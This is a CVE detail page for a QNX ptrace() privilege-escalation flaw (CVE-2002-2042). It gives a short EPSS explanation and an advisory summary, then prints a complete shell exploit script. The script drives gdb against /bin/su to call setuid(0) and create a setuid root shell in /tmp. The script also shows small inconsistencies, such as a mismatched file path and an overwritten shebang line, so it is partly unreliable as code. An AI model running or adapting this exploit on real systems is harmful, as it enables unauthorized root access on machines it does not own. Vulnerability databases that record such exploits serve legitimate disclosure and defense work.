CVE-2002-2042 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/4919/info The QNX implementation of 'ptrace()' is reportedly insecure. An unprivileged process may attach to a setuid program without restriction. Since the attaching process may view or edit memory, an attacker may exploit this issue to escalate privileges. This issue affects QNX RTOS 6 prior to 6.4.0. #!/bin/sh #include <std_shouts.h> #include <std_disclaimer.h> #http://www.badc0ded.com echo "#!/bin/sh" > /tmp/runme echo cp /bin/sh /tmp/sh > /tmp/runme echo chmod 4755 /tmp/sh >> /tmp/runme chmod 755 /tmp/runme echo r root -c /tmp/runme > /tmp/badc0ded echo break *main+44 >> /tmp/badc0ded echo c >> /tmp/badc0ded echo "call setuid(0)" >> /tmp/badc0ded echo c >> /tmp/badc0ded gdb /bin/su < badc0ded > /dev/null echo "www.badc0ded.com" sleep 1 rm /tmp/runme /tmp/badc0ded /tmp/sh